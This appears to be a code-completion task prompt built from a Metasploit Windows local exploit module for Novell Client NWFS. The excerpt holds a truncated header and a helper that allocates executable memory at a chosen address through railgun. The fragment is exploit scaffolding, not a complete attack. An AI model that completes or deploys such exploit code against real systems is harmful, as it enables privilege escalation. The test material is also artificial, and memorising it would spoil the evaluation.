You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: novell_client_nwfs.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/local
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://meta
    
  def fill_memory(proc, address, length, content)
    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')

    if !proc.memory.writable?(address)
      vprint_error('Failed to allocate memory')
      return nil
    else
      vprint_good("#{address} is now writable")
    end